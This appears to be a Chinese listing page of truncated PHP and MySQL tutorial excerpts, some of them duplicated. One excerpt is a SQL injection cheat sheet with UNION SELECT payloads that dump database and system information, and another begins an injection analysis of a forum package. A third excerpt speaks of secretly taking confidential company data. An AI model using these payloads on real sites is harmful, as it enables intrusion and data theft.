MySQL语句 $record=0;$db=@mysql_pconnect('localhost','root');@mysql_select_db('1234',$db);$strsql="select * from 1234_data";$result=@mysql_query($strsql);$data=@mysql_fetch_array($result);$record=@mysql_num_rows($result); echo "\n";do{if ($record==1){echo "".$data['cname']."\n";}else{echo "".$data'cname']."\n";}}while($data=@mysql_fetch_array($result));echo "\n"; ?>
Excel 自从对php和mysql有了一定的了解之后，我就对公司里庞大的Excel数据库虎视眈眈，想偷偷地"共享"这被保密的商业数据，一边琢磨着怎么搞到手，一边考虑如何转化成mysql数据库，去了很多php站点论坛请教高手，都没有一个结果，某天突发想象，为何不试试这种方法呢？结果也真行，一切Ok，下面我就把我的心得与大家完全共享（可能你有更好的方法） 1.先介绍一下这个Excel数据库的结构，且命名为E.xls,字段有4个(40个也一样搞掂),字...
今天写了一个小程序，很小很小，只不过是能够建立php与mysql的链接，并且实现简单的SQL语句。 新手初试，还请各路高手多多指导。 程序源代码如下： 代码如下:$conn = mysql_connect("localhost","root","") or die ("wrong!"); $sel=mysql_select_db("mydb",$conn); $sql="INSERT INTO `mydb`.`test` ( `id` , `uid` , `regdate` , `remark` ) VALUES ( '', 'php200', now( ) , 'dddd' ) "; $que=mysql_query($sql,$conn); if($qu...
你总不可能对每一个这样的特殊字符都人工进行转义，何况你通常处理的都是表单自动提交的内容。 所以，应该使用mysql_real_escape_string函数： mysql_real_escape_string — 转义 SQL 语句中使用的字符串中的特殊字符，并考虑到连接的当前字符集。 但是注意：该函数并不转义 % 和 _。另外，最好不要对整条sql语句使用该函数，而是只转义传入sql语句的字符串参数，否则会发生意想不到的结果。 脚本举例： 代码如下:$item = "Zak's ...
当有多条mysql语句连起来需要执行，比如 $sqls= “insert table a values(1,2); insert table a values(2,3);” 需要执行的话php中可以使用的方法有三个： mysql_query pdo mysqli 三种方法当sqls语句没有问题的时候都是可以的。 但是 当sql语句是错误的时候会出现问题第一条sql错误：三个方法都返回false 第一条sql正确，第二条sql错误：mysql_query、pdo、 mysqli:query也是返回true。所以这个时候你是没法判断你的sqls是否有那条...
本文实例讲述了PHP+Mysql实现多关键字与多字段生成SQL语句的函数的方法。分享给大家供大家参考。具体实现方法如下： 先看实例:代码如下:$keyword="1 2 3"; echo $sql=search($keyword,"enter_gongyin_pic","a+b+c"); //函数生成，没有LIMIT,没有ORDER BY 生成:代码如下:SELECT * FROM `enter_gongyin_pic` WHERE `a` LIKE %1% OR `a` LIKE %2% OR `a` LIKE %3% OR `b` LIKE %1% OR `b` LIKE %2% OR `b` LIKE %3% OR `c` LIKE %1% O...
本文实例讲述了PHP实现的通过参数生成MYSQL语句类。分享给大家供大家参考，具体如下： 这个类可以通过指定的表和字段参数创建SELECT ,INSERT , UPDATE 和 DELETE 语句。 这个类可以创建SQL语句的WHERE条件，像LIKE的查询语句，使用LEFT JOIN和ORDER 语句<?php/* ******************************************************************* Example file This example shows how to use the MyLibSQLGen class The example is based on ...
代码一： $rs=MySQL_query($sql); if(mysql_affected_rows()) echo "sql执行成功"; else echo "sql执行失败";代码二：想观察update的执行情况mysql_affected_rows()是必需的
暴字段长度 Order by num/* 匹配字段 and 1=1 union select 1,2,3,4,5…….n/* 暴字段位置 and 1=2 union select 1,2,3,4,5…..n/*利用内置函数暴数据库信息 version() database() user() 不用猜解可用字段暴数据库信息(有些网站不适用): and 1=2 union all select version() /* and 1=2 union all select database() /* and 1=2 union all select user() /* 操作系统信息： and 1=2 union all select @@global.version_compile_...
一.前言： 版本信息：Okphp BBS v1.3 开源版 由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困难，尤其是注射时语句的构造方面更是个难点，本文主要是借对Okphp BBS v1.3一些文件得简单分析，来谈谈php+mysql注射语句构造方式，希望本文对你有点帮助。 声明：文章所有提到的“漏洞”，都没有经过测试，可能根本不存在，其实有没有漏洞并不重要，重要的是分析思路和语句构造。 二.“漏洞”分析： 1.admin/lo...
你总不可能对每一个这样的特殊字符都人工进行转义，何况你通常处理的都是表单自动提交的内容。 所以，应该使用mysql_real_escape_string函数： mysql_real_escape_string — 转义 SQL 语句中使用的字符串中的特殊字符，并考虑到连接的当前字符集。 但是注意：该函数并不转义 % 和 _。另外，最好不要对整条sql语句使用该函数，而是只转义传入sql语句的字符串参数，否则会发生意想不到的结果。 脚本举例： 代码如下:$item = "Zak's ...
在数据库教程设计时必须注意时间字段为int(11)这样，保存在数据库的是一个数字型日期时间戳，我们可以用mktime函数求出当前日期的时间戳进行加减就OK了，下面看实例 //一个月 代码如下:$lastMonth = mktime(date(‘h),date(‘i),date(‘s),date(‘m)-1,date(‘d),date(‘y)); $where .= ” dtime > $lastMonth”; //三个月 代码如下:$lastThreeMonth = mktime(date(‘h),date(‘i),date(‘s),date(‘m)-3,date(‘d),date(‘y));...
当有多条mysql语句连起来需要执行，比如 $sqls= “insert table a values(1,2); insert table a values(2,3);” 需要执行的话php中可以使用的方法有三个： mysql_query pdo mysqli 三种方法当sqls语句没有问题的时候都是可以的。 但是 当sql语句是错误的时候会出现问题第一条sql错误：三个方法都返回false 第一条sql正确，第二条sql错误：mysql_query、pdo、 mysqli:query也是返回true。所以这个时候你是没法判断你的sqls是否有那条...
update语句是PHP+MySQL中常用的操作，判断update语句是否执行成功是其中非常重要的一个环节。本文就以实例展示了php+MySQL判断update语句是否执行成功的方法。分享给大家供大家参考之用。具体方法如下： 代码一： $rs=MySQL_query($sql); if(mysql_affected_rows()) echo "sql执行成功"; else echo "sql执行失败";代码二： <?php/* 连接数据库 */mysql_pconnect("localhost", "mysql_user", "mysql_passWord") or die ("Could not ...